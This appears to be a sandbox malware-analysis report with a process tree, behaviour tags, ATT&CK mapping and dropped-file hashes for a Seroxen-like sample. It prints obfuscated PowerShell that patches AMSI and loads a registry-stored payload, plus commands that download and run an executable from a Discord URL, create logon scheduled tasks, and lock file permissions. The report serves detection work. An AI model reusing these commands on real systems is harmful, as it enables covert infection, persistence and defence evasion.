lingConventions]::Standard,$qOSGCUteeyXLWt).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+'a'+'n'+[Char](97)+''+[Char](103)+''+'e'+'d');$TymOkcQsDML.DefineMethod('In'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+'S'+[Char](105)+'g,'+'N'+''+'e'+''+[Char](119)+'S'+'l'+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+'a'+'l'+'',$wwWvJUZGOI,$qOSGCUteeyXLWt).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+'n'+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $TymOkcQsDML.CreateType();}$wjPXvKvaBLjuX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+'t'+'.'+''+'W'+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+'N'+[Char](97)+''+'t'+''+[Char](105)+'v'+'e'+''+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$mrItPHkfaVwmrT=$wjPXvKvaBLjuX.GetMethod(''+[Char](71)+'e'+[Char](116)+'Pr'+[Char](111)+'c'+[Char](65)+''+'d'+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+'b'+''+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+'t'+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZNlogdnDzTvedjEcdBl=pZuHAzLzIuYM @([String])([IntPtr]);$BjYrRIgPdYUbvBfXWjNhht=pZuHAzLzIuYM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XSqmdKgJWjN=$wjPXvKvaBLjuX.GetMethod('G'+[Char](101)+'tM'+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+'le').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+[Char](51)+'2.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$ShlNgSanhbKQuK=$mrItPHkfaVwmrT.Invoke($Null,@([Object]$XSqmdKgJWjN,[Object](''+'L'+'o'+[Char](97)+'d'+'L'+''+[Char](105)+'b'+'r'+''+[Char](97)+''+[Char](114)+'y'+'A'+'')));$WeBOGqeupOPInUyPh=$mrItPHkfaVwmrT.Invoke($Null,@([Object]$XSqmdKgJWjN,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+'te'+'c'+'t')));$kLylpea=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ShlNgSanhbKQuK,$ZNlogdnDzTvedjEcdBl).Invoke(''+'a'+''+'m'+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$zykfUtiXEDQjfcpIe=$mrItPHkfaVwmrT.Invoke($Null,@([Object]$kLylpea,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+'S'+[Char](99)+''+'a'+'n'+[Char](66)+'uf'+[Char](102)+''+[Char](101)+''+'r'+'')));$oUIcllZWpI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WeBOGqeupOPInUyPh,$BjYrRIgPdYUbvBfXWjNhht).Invoke($zykfUtiXEDQjfcpIe,[uint32]8,4,[ref]$oUIcllZWpI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zykfUtiXEDQjfcpIe,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WeBOGqeupOPInUyPh,$BjYrRIgPdYUbvBfXWjNhht).Invoke($zykfUtiXEDQjfcpIe,[uint32]8,0x20,[ref]$oUIcllZWpI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('$'+[Char](55)+'7'+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zxEtezLjDlDb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KnhOpWKLtCyIdb,[Parameter(Position=1)][Type]$ZzNWZiWbNX)$rVTcFPnzqmA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+[Char](108)+''+[Char](101)+''+'c'+'t'+[Char](101)+'dD'+'e'+''+'l'+'e'+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+'em'+[Char](111)+'ryM'+'o'+'d'+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+',P'+[Char](117)+''+'b'+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'ed'+[Char](44)+''+'A'+''+'n'+'s'+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$rVTcFPnzqmA.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+'i'+[Char](97)+''+'l'+'N'+[Char](97)+''+'m'+''+[Char](101)+',H'+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'lic',[Reflection.CallingConventions]::Standard,$KnhOpWKLtCyIdb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+'n'+''+'a'+''+'g'+'e'+'d'+'');$rVTcFPnzqmA.DefineMethod('I'+[Char](110)+''+[Char](118)+'o'+'k'+''+[Char](101)+'',''+[Char](80)+'ubl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+'g'+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$ZzNWZiWbNX,$KnhOpWKLtCyIdb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');Write-Output $rVTcFPnzqmA.CreateType();}$EHgUFbGUeEbLv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+'t'+'e'+'m'+[Char](46)+''+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+'o'+'s'+'o'+''+[Char](102)+'t'+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2.'+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+'e'+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'ve'+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+'o'+'d'+''+[Char](115)+'');$ltkeZtgtIVbEVR=$EHgUFbGUeEbLv.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+'A'+''+'d'+''+'d'+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rtGgIuJsleQjINDlrKO=zxEtezLjDlDb @([String])([IntPtr]);$XopytCtyFmAxZDnsFmEvWg=zxEtezLjDlDb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hDVdryEwrhh=$EHgUFbGUeEbLv.GetMethod(''+'G'+'e'+'t'+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'ernel'+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+'l'+'l'+'')));$GrBvFhVLEyJCyC=$ltkeZtgtIVbEVR.Invoke($Null,@([Object]$hDVdryEwrhh,[Object](''+'L'+''+[Char](111)+'ad'+[Char](76)+''+'i'+''+'b'+''+'r'+'ar'+'y'+''+[Char](65)+'')));$rtnHZDIsPSQBXIIBa=$ltkeZtgtIVbEVR.Invoke($Null,@([Object]$hDVdryEwrhh,[Object](''+[Char](86)+''+'i'+'r'+'t'+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+'ro'+'t'+''+[Char](101)+''+[Char](99)+'t')));$sKWVdBe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GrBvFhVLEyJCyC,$rtGgIuJsleQjINDlrKO).Invoke('am'+[Char](115)+''+'i'+'.dll');$hIexWFcVpgIyZKglR=$ltkeZtgtIVbEVR.Invoke($Null,@([Object]$sKWVdBe,[Object](''+'A'+''+'m'+''+[Char](115)+''+[Char](105)+''+'S'+''+'c'+''+[Char](97)+'n'+[Char](66)+'u'+'f'+'f'+[Char](101)+''+'r'+'')));$QyDikKePjw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rtnHZDIsPSQBXIIBa,$XopytCtyFmAxZDnsFmEvWg).Invoke($hIexWFcVpgIyZKglR,[uint32]8,4,[ref]$QyDikKePjw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hIexWFcVpgIyZKglR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rtnHZDIsPSQBXIIBa,$XopytCtyFmAxZDnsFmEvWg).Invoke($hIexWFcVpgIyZKglR,[uint32]8,0x20,[ref]$QyDikKePjw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OFT'+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4796 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1284
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2888
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1304
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1588
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1668
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1864
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1900
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1960
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1524
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2132
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2416
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2508
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2552
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:668
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2104
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3344
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3436
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fixer.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe3⤵PID:1464
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3972 -
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f5⤵
- Creates scheduled task(s)
PID:1768 -
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4756 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f6⤵
- Creates scheduled task(s)
PID:4872 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"6⤵
- Executes dropped EXE
PID:2604 -
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"5⤵
- Executes dropped EXE
PID:3872 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST5⤵
- Creates scheduled task(s)
PID:4060 -
C:\Windows\system32\icacls.exeicacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T3⤵
- Modifies file permissions
PID:4544 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f3⤵PID:1368
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C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\Temp\Fixer.bat"3⤵
- Views/modifies file attributes
PID:4032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3580
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3760
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3912
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:3244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:5064
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1004
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4092
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4628
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4912
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1952
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2564
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1404
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1412
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 74984d018bf07cc1749fe4af2f70aa21 R+SJbcIoIEy/YMVvajWhgg.0.1.0.0.01⤵
- Sets service image path in registry
PID:4568 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:5104
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:1772
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4524
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4708
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
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Downloads
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Filesize
409KB
MD5404ab800bbe49c36bd64d0d73600b59a
SHA14c8dff2702fada108f7477ad357067310b584366
SHA2565465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154
SHA512d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5aa187cac09f051e24146ad549a0f08a6
SHA12ef7fae3652bb838766627fa6584a6e3b5e74ff3
SHA2567036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
SHA512960f07a7f2699121c23ecdb1429e39b14485957b41ff9d201c737d1675f2d4cd97d4a3de4bce4fb18155c14183b96b2689a36df94297dba035eef640136b0df2